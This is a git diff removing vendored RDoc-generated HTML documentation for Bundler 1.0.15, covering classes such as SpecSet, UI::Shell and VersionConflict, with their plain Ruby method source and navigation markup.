- 97:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">arr</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s2</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s2</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">s2</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">s2</span>.<span class="ruby-identifier">platform</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span> }
- 98:         <span class="ruby-identifier">arr</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>
- 99:       <span class="ruby-keyword kw">end</span>
-100:       <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">arr</span>)
-101:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				
-					<span class="method-name">to_a</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="to-a-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 71</span>
-71:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_a</span>
-72:       <span class="ruby-identifier">sorted</span>.<span class="ruby-identifier">dup</span>
-73:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<div class="method-heading">
-				
-					<span class="method-name">to_hash</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="to-hash-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 75</span>
-75:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_hash</span>
-76:       <span class="ruby-identifier">lookup</span>.<span class="ruby-identifier">dup</span>
-77:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-
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-		
-			<div id="valid-for--method" class="method-detail ">
-				<a name="method-i-valid_for%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">valid_for?</span><span
-						class="method-args">(deps)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="valid-for--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 55</span>
-55:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">valid_for?</span>(<span class="ruby-identifier">deps</span>)
-56:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">for</span>(<span class="ruby-identifier">deps</span>, [], <span class="ruby-keyword kw">true</span>)
-57:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
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-
-				
-			</div>
-
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-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="lookup-method" class="method-detail ">
-				<a name="method-i-lookup"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">lookup</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					
-
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-					<div class="method-source-code"
-						id="lookup-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 110</span>
-110:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">lookup</span>
-111:       <span class="ruby-ivar">@lookup</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-112:         <span class="ruby-identifier">lookup</span> = <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">h</span>,<span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">h</span>[<span class="ruby-identifier">k</span>] = [] }
-113:         <span class="ruby-identifier">specs</span> = <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">sort_by</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-114:           <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'ruby'</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;\00&quot;&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span>
-115:         <span class="ruby-keyword kw">end</span>
-116:         <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">reverse_each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-117:           <span class="ruby-identifier">lookup</span>[<span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>
-118:         <span class="ruby-keyword kw">end</span>
-119:         <span class="ruby-identifier">lookup</span>
-120:       <span class="ruby-keyword kw">end</span>
-121:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="sorted-method" class="method-detail ">
-				<a name="method-i-sorted"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sorted</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="sorted-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 105</span>
-105:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sorted</span>
-106:       <span class="ruby-identifier">rake</span> = <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'rake'</span> }
-107:       <span class="ruby-ivar">@sorted</span> <span class="ruby-operator">||=</span> ([<span class="ruby-identifier">rake</span>] <span class="ruby-operator">+</span> <span class="ruby-identifier">tsort</span>).<span class="ruby-identifier">compact</span>.<span class="ruby-identifier">uniq</span>
-108:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="tsort-each-child-method" class="method-detail ">
-				<a name="method-i-tsort_each_child"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">tsort_each_child</span><span
-						class="method-args">(s)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="tsort-each-child-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 127</span>
-127:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tsort_each_child</span>(<span class="ruby-identifier">s</span>)
-128:       <span class="ruby-identifier">s</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span> }.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span>
-129:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-value">:development</span>
-130:         <span class="ruby-identifier">lookup</span>[<span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span>].<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s2</span><span class="ruby-operator">|</span> <span class="ruby-keyword kw">yield</span> <span class="ruby-identifier">s2</span> }
-131:       <span class="ruby-keyword kw">end</span>
-132:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="tsort-each-node-method" class="method-detail ">
-				<a name="method-i-tsort_each_node"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">tsort_each_node</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="tsort-each-node-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/spec_set.rb, line 123</span>
-123:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tsort_each_node</span>
-124:       <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-keyword kw">yield</span> <span class="ruby-identifier">s</span> }
-125:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-	</div>
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-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI.html
deleted file mode 100644
index f73b3f30..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI.html
+++ /dev/null
@@ -1,529 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::UI</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/ui_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/ui.rb">lib/bundler/ui.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">CLASS</span> <a href="UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="UI/Shell.html">Bundler::UI::Shell</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-confirm">#confirm</a></li>
-					
-					<li><a href="#method-i-debug">#debug</a></li>
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-					<li><a href="#method-i-error">#error</a></li>
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-					<li><a href="#method-i-info">#info</a></li>
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-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
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-					<li class="file"><a href="../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
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-				
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-			</div>
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="../Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI/RGProxy.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI/RGProxy.html
deleted file mode 100644
index f6d4ea30..00000000
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-59:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">ui</span>)
-60:         <span class="ruby-ivar">@ui</span> = <span class="ruby-identifier">ui</span>
-61:         <span class="ruby-keyword kw">super</span>()
-62:       <span class="ruby-keyword kw">end</span></pre>
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-64:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">say</span>(<span class="ruby-identifier">message</span>)
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-66:           <span class="ruby-ivar">@ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;with native extensions &quot;</span>
-67:         <span class="ruby-keyword kw">else</span>
-68:           <span class="ruby-ivar">@ui</span>.<span class="ruby-identifier">debug</span>(<span class="ruby-identifier">message</span>)
-69:         <span class="ruby-keyword kw">end</span>
-70:       <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI/Shell.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI/Shell.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/UI/Shell.html
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-		<!-- Methods -->
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-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
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-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
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-					<span class="method-name">new</span><span
-						class="method-args">(shell)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="method-description">
-					
-					
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-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 23</span>
-23:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">shell</span>)
-24:         <span class="ruby-ivar">@shell</span> = <span class="ruby-identifier">shell</span>
-25:         <span class="ruby-ivar">@quiet</span> = <span class="ruby-keyword kw">false</span>
-26:         <span class="ruby-ivar">@debug</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'DEBUG'</span>]
-27:       <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 49</span>
-49:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">be_quiet!</span>
-50:         <span class="ruby-ivar">@quiet</span> = <span class="ruby-keyword kw">true</span>
-51:       <span class="ruby-keyword kw">end</span></pre>
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-				
-					<span class="method-name">confirm</span><span
-						class="method-args">(msg)</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 37</span>
-37:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">confirm</span>(<span class="ruby-identifier">msg</span>)
-38:         <span class="ruby-ivar">@shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">msg</span>, <span class="ruby-value">:green</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-ivar">@quiet</span>
-39:       <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-debug"></a>
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-				
-					<span class="method-name">debug</span><span
-						class="method-args">(msg)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="method-description">
-					
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-						id="debug-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 29</span>
-29:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">debug</span>(<span class="ruby-identifier">msg</span>)
-30:         <span class="ruby-ivar">@shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">msg</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@debug</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-ivar">@quiet</span>
-31:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-				<a name="method-i-debug%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">debug!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-						id="debug--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 53</span>
-53:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">debug!</span>
-54:         <span class="ruby-ivar">@debug</span> = <span class="ruby-keyword kw">true</span>
-55:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-error"></a>
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-				
-					<span class="method-name">error</span><span
-						class="method-args">(msg)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 45</span>
-45:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">error</span>(<span class="ruby-identifier">msg</span>)
-46:         <span class="ruby-ivar">@shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">msg</span>, <span class="ruby-value">:red</span>)
-47:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="info-method" class="method-detail ">
-				<a name="method-i-info"></a>
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-				
-					<span class="method-name">info</span><span
-						class="method-args">(msg)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-						id="info-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 33</span>
-33:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">info</span>(<span class="ruby-identifier">msg</span>)
-34:         <span class="ruby-ivar">@shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">msg</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-ivar">@quiet</span>
-35:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-warn"></a>
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-				
-					<span class="method-name">warn</span><span
-						class="method-args">(msg)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-
-				<div class="method-description">
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-						id="warn-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/ui.rb, line 41</span>
-41:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">warn</span>(<span class="ruby-identifier">msg</span>)
-42:         <span class="ruby-ivar">@shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">msg</span>, <span class="ruby-value">:yellow</span>)
-43:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/VersionConflict.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/VersionConflict.html
deleted file mode 100644
index 62c73a92..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/VersionConflict.html
+++ /dev/null
@@ -1,404 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::VersionConflict</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler.rb">lib/bundler.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="BundlerError.html">Bundler::BundlerError</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
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-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
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-				
-					<li><a href="../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="../Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
